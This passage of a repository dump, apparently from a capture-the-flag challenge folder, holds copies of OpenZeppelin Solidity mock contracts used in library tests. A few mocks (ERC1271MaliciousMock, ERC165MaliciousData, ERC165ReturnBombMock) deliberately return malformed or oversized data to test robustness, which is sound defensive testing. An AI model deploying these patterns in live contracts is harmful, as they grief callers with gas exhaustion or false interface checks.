_setRoleAdmin(roleId, adminRoleId); 15 | } 16 | 17 | function senderProtected(bytes32 roleId) public onlyRole(roleId) {} 18 | 19 | function crossChainRoleAlias(bytes32 role) public pure returns (bytes32) { 20 | return _crossChainRoleAlias(role); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/AccessControlEnumerableMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../access/AccessControlEnumerable.sol"; 6 | 7 | contract AccessControlEnumerableMock is AccessControlEnumerable { 8 | constructor() { 9 | _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); 10 | } 11 | 12 | function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) public { 13 | _setRoleAdmin(roleId, adminRoleId); 14 | } 15 | 16 | function senderProtected(bytes32 roleId) public onlyRole(roleId) {} 17 | } 18 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/AccessControlMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../access/AccessControl.sol"; 6 | 7 | contract AccessControlMock is AccessControl { 8 | constructor() { 9 | _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); 10 | } 11 | 12 | function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) public { 13 | _setRoleAdmin(roleId, adminRoleId); 14 | } 15 | 16 | function senderProtected(bytes32 roleId) public onlyRole(roleId) {} 17 | } 18 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/AddressImpl.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Address.sol"; 6 | 7 | contract AddressImpl { 8 | string public sharedAnswer; 9 | 10 | event CallReturnValue(string data); 11 | 12 | function isContract(address account) external view returns (bool) { 13 | return Address.isContract(account); 14 | } 15 | 16 | function sendValue(address payable receiver, uint256 amount) external { 17 | Address.sendValue(receiver, amount); 18 | } 19 | 20 | function functionCall(address target, bytes calldata data) external { 21 | bytes memory returnData = Address.functionCall(target, data); 22 | emit CallReturnValue(abi.decode(returnData, (string))); 23 | } 24 | 25 | function functionCallWithValue(address target, bytes calldata data, uint256 value) external payable { 26 | bytes memory returnData = Address.functionCallWithValue(target, data, value); 27 | emit CallReturnValue(abi.decode(returnData, (string))); 28 | } 29 | 30 | function functionStaticCall(address target, bytes calldata data) external { 31 | bytes memory returnData = Address.functionStaticCall(target, data); 32 | emit CallReturnValue(abi.decode(returnData, (string))); 33 | } 34 | 35 | function functionDelegateCall(address target, bytes calldata data) external { 36 | bytes memory returnData = Address.functionDelegateCall(target, data); 37 | emit CallReturnValue(abi.decode(returnData, (string))); 38 | } 39 | 40 | // sendValue's tests require the contract to hold Ether 41 | receive() external payable {} 42 | } 43 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ArraysMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Arrays.sol"; 6 | 7 | contract Uint256ArraysMock { 8 | using Arrays for uint256[]; 9 | 10 | uint256[] private _array; 11 | 12 | constructor(uint256[] memory array) { 13 | _array = array; 14 | } 15 | 16 | function findUpperBound(uint256 element) external view returns (uint256) { 17 | return _array.findUpperBound(element); 18 | } 19 | 20 | function unsafeAccess(uint256 pos) external view returns (uint256) { 21 | return _array.unsafeAccess(pos).value; 22 | } 23 | } 24 | 25 | contract AddressArraysMock { 26 | using Arrays for address[]; 27 | 28 | address[] private _array; 29 | 30 | constructor(address[] memory array) { 31 | _array = array; 32 | } 33 | 34 | function unsafeAccess(uint256 pos) external view returns (address) { 35 | return _array.unsafeAccess(pos).value; 36 | } 37 | } 38 | 39 | contract Bytes32ArraysMock { 40 | using Arrays for bytes32[]; 41 | 42 | bytes32[] private _array; 43 | 44 | constructor(bytes32[] memory array) { 45 | _array = array; 46 | } 47 | 48 | function unsafeAccess(uint256 pos) external view returns (bytes32) { 49 | return _array.unsafeAccess(pos).value; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/BadBeacon.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract BadBeaconNoImpl {} 6 | 7 | contract BadBeaconNotContract { 8 | function implementation() external pure returns (address) { 9 | return address(0x1); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/Base64Mock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Base64.sol"; 6 | 7 | contract Base64Mock { 8 | function encode(bytes memory value) external pure returns (string memory) { 9 | return Base64.encode(value); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/BitmapMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/structs/BitMaps.sol"; 6 | 7 | contract BitMapMock { 8 | using BitMaps for BitMaps.BitMap; 9 | 10 | BitMaps.BitMap private _bitmap; 11 | 12 | function get(uint256 index) public view returns (bool) { 13 | return _bitmap.get(index); 14 | } 15 | 16 | function setTo(uint256 index, bool value) public { 17 | _bitmap.setTo(index, value); 18 | } 19 | 20 | function set(uint256 index) public { 21 | _bitmap.set(index); 22 | } 23 | 24 | function unset(uint256 index) public { 25 | _bitmap.unset(index); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/CallReceiverMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract CallReceiverMock { 6 | string public sharedAnswer; 7 | 8 | event MockFunctionCalled(); 9 | event MockFunctionCalledWithArgs(uint256 a, uint256 b); 10 | 11 | uint256[] private _array; 12 | 13 | function mockFunction() public payable returns (string memory) { 14 | emit MockFunctionCalled(); 15 | 16 | return "0x1234"; 17 | } 18 | 19 | function mockFunctionWithArgs(uint256 a, uint256 b) public payable returns (string memory) { 20 | emit MockFunctionCalledWithArgs(a, b); 21 | 22 | return "0x1234"; 23 | } 24 | 25 | function mockFunctionNonPayable() public returns (string memory) { 26 | emit MockFunctionCalled(); 27 | 28 | return "0x1234"; 29 | } 30 | 31 | function mockStaticFunction() public pure returns (string memory) { 32 | return "0x1234"; 33 | } 34 | 35 | function mockFunctionRevertsNoReason() public payable { 36 | revert(); 37 | } 38 | 39 | function mockFunctionRevertsReason() public payable { 40 | revert("CallReceiverMock: reverting"); 41 | } 42 | 43 | function mockFunctionThrows() public payable { 44 | assert(false); 45 | } 46 | 47 | function mockFunctionOutOfGas() public payable { 48 | for (uint256 i = 0; ; ++i) { 49 | _array.push(i); 50 | } 51 | } 52 | 53 | function mockFunctionWritesStorage() public returns (string memory) { 54 | sharedAnswer = "42"; 55 | return "0x1234"; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ClashingImplementation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | /** 6 | * @dev Implementation contract with an admin() function made to clash with 7 | * @dev TransparentUpgradeableProxy's to test correct functioning of the 8 | * @dev Transparent Proxy feature. 9 | */ 10 | contract ClashingImplementation { 11 | function admin() external pure returns (address) { 12 | return 0x0000000000000000000000000000000011111142; 13 | } 14 | 15 | function delegatedFunction() external pure returns (bool) { 16 | return true; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ClonesMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../proxy/Clones.sol"; 6 | import "../utils/Address.sol"; 7 | 8 | contract ClonesMock { 9 | using Address for address; 10 | using Clones for address; 11 | 12 | event NewInstance(address instance); 13 | 14 | function clone(address implementation, bytes calldata initdata) public payable { 15 | _initAndEmit(implementation.clone(), initdata); 16 | } 17 | 18 | function cloneDeterministic(address implementation, bytes32 salt, bytes calldata initdata) public payable { 19 | _initAndEmit(implementation.cloneDeterministic(salt), initdata); 20 | } 21 | 22 | function predictDeterministicAddress(address implementation, bytes32 salt) public view returns (address predicted) { 23 | return implementation.predictDeterministicAddress(salt); 24 | } 25 | 26 | function _initAndEmit(address instance, bytes memory initdata) private { 27 | if (initdata.length > 0) { 28 | instance.functionCallWithValue(initdata, msg.value); 29 | } 30 | emit NewInstance(instance); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ConditionalEscrowMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/escrow/ConditionalEscrow.sol"; 6 | 7 | // mock class using ConditionalEscrow 8 | contract ConditionalEscrowMock is ConditionalEscrow { 9 | mapping(address => bool) private _allowed; 10 | 11 | function setAllowed(address payee, bool allowed) public { 12 | _allowed[payee] = allowed; 13 | } 14 | 15 | function withdrawalAllowed(address payee) public view override returns (bool) { 16 | return _allowed[payee]; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ContextMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Context.sol"; 6 | 7 | contract ContextMock is Context { 8 | event Sender(address sender); 9 | 10 | function msgSender() public { 11 | emit Sender(_msgSender()); 12 | } 13 | 14 | event Data(bytes data, uint256 integerValue, string stringValue); 15 | 16 | function msgData(uint256 integerValue, string memory stringValue) public { 17 | emit Data(_msgData(), integerValue, stringValue); 18 | } 19 | } 20 | 21 | contract ContextMockCaller { 22 | function callSender(ContextMock context) public { 23 | context.msgSender(); 24 | } 25 | 26 | function callData(ContextMock context, uint256 integerValue, string memory stringValue) public { 27 | context.msgData(integerValue, stringValue); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/CountersImpl.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Counters.sol"; 6 | 7 | contract CountersImpl { 8 | using Counters for Counters.Counter; 9 | 10 | Counters.Counter private _counter; 11 | 12 | function current() public view returns (uint256) { 13 | return _counter.current(); 14 | } 15 | 16 | function increment() public { 17 | _counter.increment(); 18 | } 19 | 20 | function decrement() public { 21 | _counter.decrement(); 22 | } 23 | 24 | function reset() public { 25 | _counter.reset(); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/Create2Impl.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Create2.sol"; 6 | import "../utils/introspection/ERC1820Implementer.sol"; 7 | 8 | contract Create2Impl { 9 | function deploy(uint256 value, bytes32 salt, bytes memory code) public { 10 | Create2.deploy(value, salt, code); 11 | } 12 | 13 | function deployERC1820Implementer(uint256 value, bytes32 salt) public { 14 | Create2.deploy(value, salt, type(ERC1820Implementer).creationCode); 15 | } 16 | 17 | function computeAddress(bytes32 salt, bytes32 codeHash) public view returns (address) { 18 | return Create2.computeAddress(salt, codeHash); 19 | } 20 | 21 | function computeAddressWithDeployer( 22 | bytes32 salt, 23 | bytes32 codeHash, 24 | address deployer 25 | ) public pure returns (address) { 26 | return Create2.computeAddress(salt, codeHash, deployer); 27 | } 28 | 29 | receive() external payable {} 30 | } 31 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/DoubleEndedQueueMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/structs/DoubleEndedQueue.sol"; 6 | 7 | // Bytes32Deque 8 | contract Bytes32DequeMock { 9 | using DoubleEndedQueue for DoubleEndedQueue.Bytes32Deque; 10 | 11 | event OperationResult(bytes32 value); 12 | 13 | DoubleEndedQueue.Bytes32Deque private _vector; 14 | 15 | function pushBack(bytes32 value) public { 16 | _vector.pushBack(value); 17 | } 18 | 19 | function pushFront(bytes32 value) public { 20 | _vector.pushFront(value); 21 | } 22 | 23 | function popFront() public returns (bytes32) { 24 | bytes32 value = _vector.popFront(); 25 | emit OperationResult(value); 26 | return value; 27 | } 28 | 29 | function popBack() public returns (bytes32) { 30 | bytes32 value = _vector.popBack(); 31 | emit OperationResult(value); 32 | return value; 33 | } 34 | 35 | function front() public view returns (bytes32) { 36 | return _vector.front(); 37 | } 38 | 39 | function back() public view returns (bytes32) { 40 | return _vector.back(); 41 | } 42 | 43 | function at(uint256 i) public view returns (bytes32) { 44 | return _vector.at(i); 45 | } 46 | 47 | function clear() public { 48 | _vector.clear(); 49 | } 50 | 51 | function length() public view returns (uint256) { 52 | return _vector.length(); 53 | } 54 | 55 | function empty() public view returns (bool) { 56 | return _vector.empty(); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/DummyImplementation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | abstract contract Impl { 6 | function version() public pure virtual returns (string memory); 7 | } 8 | 9 | contract DummyImplementation { 10 | uint256 public value; 11 | string public text; 12 | uint256[] public values; 13 | 14 | function initializeNonPayable() public { 15 | value = 10; 16 | } 17 | 18 | function initializePayable() public payable { 19 | value = 100; 20 | } 21 | 22 | function initializeNonPayableWithValue(uint256 _value) public { 23 | value = _value; 24 | } 25 | 26 | function initializePayableWithValue(uint256 _value) public payable { 27 | value = _value; 28 | } 29 | 30 | function initialize(uint256 _value, string memory _text, uint256[] memory _values) public { 31 | value = _value; 32 | text = _text; 33 | values = _values; 34 | } 35 | 36 | function get() public pure returns (bool) { 37 | return true; 38 | } 39 | 40 | function version() public pure virtual returns (string memory) { 41 | return "V1"; 42 | } 43 | 44 | function reverts() public pure { 45 | require(false, "DummyImplementation reverted"); 46 | } 47 | } 48 | 49 | contract DummyImplementationV2 is DummyImplementation { 50 | function migrate(uint256 newVal) public payable { 51 | value = newVal; 52 | } 53 | 54 | function version() public pure override returns (string memory) { 55 | return "V2"; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ECDSAMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/cryptography/ECDSA.sol"; 6 | 7 | contract ECDSAMock { 8 | using ECDSA for bytes32; 9 | using ECDSA for bytes; 10 | 11 | function recover(bytes32 hash, bytes memory signature) public pure returns (address) { 12 | return hash.recover(signature); 13 | } 14 | 15 | // solhint-disable-next-line func-name-mixedcase 16 | function recover_v_r_s(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public pure returns (address) { 17 | return hash.recover(v, r, s); 18 | } 19 | 20 | // solhint-disable-next-line func-name-mixedcase 21 | function recover_r_vs(bytes32 hash, bytes32 r, bytes32 vs) public pure returns (address) { 22 | return hash.recover(r, vs); 23 | } 24 | 25 | function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { 26 | return hash.toEthSignedMessageHash(); 27 | } 28 | 29 | function toEthSignedMessageHash(bytes memory s) public pure returns (bytes32) { 30 | return s.toEthSignedMessageHash(); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/EIP712External.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/cryptography/ECDSA.sol"; 6 | import "../utils/cryptography/EIP712.sol"; 7 | 8 | contract EIP712External is EIP712 { 9 | constructor(string memory name, string memory version) EIP712(name, version) {} 10 | 11 | function domainSeparator() external view returns (bytes32) { 12 | return _domainSeparatorV4(); 13 | } 14 | 15 | function verify(bytes memory signature, address signer, address mailTo, string memory mailContents) external view { 16 | bytes32 digest = _hashTypedDataV4( 17 | keccak256(abi.encode(keccak256("Mail(address to,string contents)"), mailTo, keccak256(bytes(mailContents)))) 18 | ); 19 | address recoveredSigner = ECDSA.recover(digest, signature); 20 | require(recoveredSigner == signer); 21 | } 22 | 23 | function getChainId() external view returns (uint256) { 24 | return block.chainid; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC1155BurnableMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC1155/extensions/ERC1155Burnable.sol"; 6 | 7 | contract ERC1155BurnableMock is ERC1155Burnable { 8 | constructor(string memory uri) ERC1155(uri) {} 9 | 10 | function mint(address to, uint256 id, uint256 value, bytes memory data) public { 11 | _mint(to, id, value, data); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC1155Mock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC1155/ERC1155.sol"; 6 | 7 | /** 8 | * @title ERC1155Mock 9 | * This mock just publicizes internal functions for testing purposes 10 | */ 11 | contract ERC1155Mock is ERC1155 { 12 | constructor(string memory uri) ERC1155(uri) {} 13 | 14 | function setURI(string memory newuri) public { 15 | _setURI(newuri); 16 | } 17 | 18 | function mint(address to, uint256 id, uint256 value, bytes memory data) public { 19 | _mint(to, id, value, data); 20 | } 21 | 22 | function mintBatch(address to, uint256[] memory ids, uint256[] memory values, bytes memory data) public { 23 | _mintBatch(to, ids, values, data); 24 | } 25 | 26 | function burn(address owner, uint256 id, uint256 value) public { 27 | _burn(owner, id, value); 28 | } 29 | 30 | function burnBatch(address owner, uint256[] memory ids, uint256[] memory values) public { 31 | _burnBatch(owner, ids, values); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC1155PausableMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./ERC1155Mock.sol"; 6 | import "../token/ERC1155/extensions/ERC1155Pausable.sol"; 7 | 8 | contract ERC1155PausableMock is ERC1155Mock, ERC1155Pausable { 9 | constructor(string memory uri) ERC1155Mock(uri) {} 10 | 11 | function pause() external { 12 | _pause(); 13 | } 14 | 15 | function unpause() external { 16 | _unpause(); 17 | } 18 | 19 | function _beforeTokenTransfer( 20 | address operator, 21 | address from, 22 | address to, 23 | uint256[] memory ids, 24 | uint256[] memory amounts, 25 | bytes memory data 26 | ) internal override(ERC1155, ERC1155Pausable) { 27 | super._beforeTokenTransfer(operator, from, to, ids, amounts, data); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC1155ReceiverMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC1155/IERC1155Receiver.sol"; 6 | import "../utils/introspection/ERC165.sol"; 7 | 8 | contract ERC1155ReceiverMock is ERC165, IERC1155Receiver { 9 | bytes4 private _recRetval; 10 | bool private _recReverts; 11 | bytes4 private _batRetval; 12 | bool private _batReverts; 13 | 14 | event Received(address operator, address from, uint256 id, uint256 value, bytes data, uint256 gas); 15 | event BatchReceived(address operator, address from, uint256[] ids, uint256[] values, bytes data, uint256 gas); 16 | 17 | constructor(bytes4 recRetval, bool recReverts, bytes4 batRetval, bool batReverts) { 18 | _recRetval = recRetval; 19 | _recReverts = recReverts; 20 | _batRetval = batRetval; 21 | _batReverts = batReverts; 22 | } 23 | 24 | function onERC1155Received( 25 | address operator, 26 | address from, 27 | uint256 id, 28 | uint256 value, 29 | bytes calldata data 30 | ) external override returns (bytes4) { 31 | require(!_recReverts, "ERC1155ReceiverMock: reverting on receive"); 32 | emit Received(operator, from, id, value, data, gasleft()); 33 | return _recRetval; 34 | } 35 | 36 | function onERC1155BatchReceived( 37 | address operator, 38 | address from, 39 | uint256[] calldata ids, 40 | uint256[] calldata values, 41 | bytes calldata data 42 | ) external override returns (bytes4) { 43 | require(!_batReverts, "ERC1155ReceiverMock: reverting on batch receive"); 44 | emit BatchReceived(operator, from, ids, values, data, gasleft()); 45 | return _batRetval; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC1155SupplyMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./ERC1155Mock.sol"; 6 | import "../token/ERC1155/extensions/ERC1155Supply.sol"; 7 | 8 | contract ERC1155SupplyMock is ERC1155Mock, ERC1155Supply { 9 | constructor(string memory uri) ERC1155Mock(uri) {} 10 | 11 | function _beforeTokenTransfer( 12 | address operator, 13 | address from, 14 | address to, 15 | uint256[] memory ids, 16 | uint256[] memory amounts, 17 | bytes memory data 18 | ) internal override(ERC1155, ERC1155Supply) { 19 | super._beforeTokenTransfer(operator, from, to, ids, amounts, data); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC1155URIStorageMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./ERC1155Mock.sol"; 6 | import "../token/ERC1155/extensions/ERC1155URIStorage.sol"; 7 | 8 | contract ERC1155URIStorageMock is ERC1155Mock, ERC1155URIStorage { 9 | constructor(string memory _uri) ERC1155Mock(_uri) {} 10 | 11 | function uri(uint256 tokenId) public view override(ERC1155, ERC1155URIStorage) returns (string memory) { 12 | return ERC1155URIStorage.uri(tokenId); 13 | } 14 | 15 | function setURI(uint256 tokenId, string memory _tokenURI) public { 16 | _setURI(tokenId, _tokenURI); 17 | } 18 | 19 | function setBaseURI(string memory baseURI) public { 20 | _setBaseURI(baseURI); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC1271WalletMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../access/Ownable.sol"; 6 | import "../interfaces/IERC1271.sol"; 7 | import "../utils/cryptography/ECDSA.sol"; 8 | 9 | contract ERC1271WalletMock is Ownable, IERC1271 { 10 | constructor(address originalOwner) { 11 | transferOwnership(originalOwner); 12 | } 13 | 14 | function isValidSignature(bytes32 hash, bytes memory signature) public view override returns (bytes4 magicValue) { 15 | return ECDSA.recover(hash, signature) == owner() ? this.isValidSignature.selector : bytes4(0); 16 | } 17 | } 18 | 19 | contract ERC1271MaliciousMock is IERC1271 { 20 | function isValidSignature(bytes32, bytes memory) public pure override returns (bytes4) { 21 | assembly { 22 | mstore(0, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) 23 | return(0, 32) 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC165/ERC165MaliciousData.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract ERC165MaliciousData { 6 | function supportsInterface(bytes4) public pure returns (bool) { 7 | assembly { 8 | mstore(0, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) 9 | return(0, 32) 10 | } 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC165/ERC165MissingData.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract ERC165MissingData { 6 | function supportsInterface(bytes4 interfaceId) public view {} // missing return 7 | } 8 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC165/ERC165NotSupported.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract ERC165NotSupported {} 6 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC165/ERC165ReturnBomb.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../../utils/introspection/IERC165.sol"; 6 | 7 | contract ERC165ReturnBombMock is IERC165 { 8 | function supportsInterface(bytes4 interfaceId) public pure override returns (bool) { 9 | if (interfaceId == type(IERC165).interfaceId) { 10 | assembly { 11 | mstore(0, 1) 12 | } 13 | } 14 | assembly { 15 | return(0, 101500) 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC165CheckerMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/introspection/ERC165Checker.sol"; 6 | 7 | contract ERC165CheckerMock { 8 | using ERC165Checker for address; 9 | 10 | function supportsERC165(address account) public view returns (bool) { 11 | return account.supportsERC165(); 12 | } 13 | 14 | function supportsInterface(address account, bytes4 interfaceId) public view returns (bool) { 15 | return account.supportsInterface(interfaceId); 16 | } 17 | 18 | function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) public view returns (bool) { 19 | return account.supportsAllInterfaces(interfaceIds); 20 | } 21 | 22 | function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) public view returns (bool[] memory) { 23 | return account.getSupportedInterfaces(interfaceIds); 24 | } 25 | 26 | function supportsERC165InterfaceUnchecked(address account, bytes4 interfaceId) public view returns (bool) { 27 | return account.supportsERC165InterfaceUnchecked(interfaceId); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC165Mock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/introspection/ERC165.sol"; 6 | 7 | contract ERC165Mock is ERC165 {} 8 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC165StorageMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/introspection/ERC165Storage.sol"; 6 | 7 | contract ERC165StorageMock is ERC165Storage { 8 | function registerInterface(bytes4 interfaceId) public { 9 | _registerInterface(interfaceId); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC1820ImplementerMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/introspection/ERC1820Implementer.sol"; 6 | 7 | contract ERC1820ImplementerMock is ERC1820Implementer { 8 | function registerInterfaceForAddress(bytes32 interfaceHash, address account) public { 9 | _registerInterfaceForAddress(interfaceHash, account); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC20BurnableMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/extensions/ERC20Burnable.sol"; 6 | 7 | contract ERC20BurnableMock is ERC20Burnable { 8 | constructor( 9 | string memory name, 10 | string memory symbol, 11 | address initialAccount, 12 | uint256 initialBalance 13 | ) ERC20(name, symbol) { 14 | _mint(initialAccount, initialBalance); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC20CappedMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/extensions/ERC20Capped.sol"; 6 | 7 | contract ERC20CappedMock is ERC20Capped { 8 | constructor(string memory name, string memory symbol, uint256 cap) ERC20(name, symbol) ERC20Capped(cap) {} 9 | 10 | function mint(address to, uint256 tokenId) public { 11 | _mint(to, tokenId); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC20DecimalsMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/ERC20.sol"; 6 | 7 | contract ERC20DecimalsMock is ERC20 { 8 | uint8 private immutable _decimals; 9 | 10 | constructor(string memory name_, string memory symbol_, uint8 decimals_) ERC20(name_, 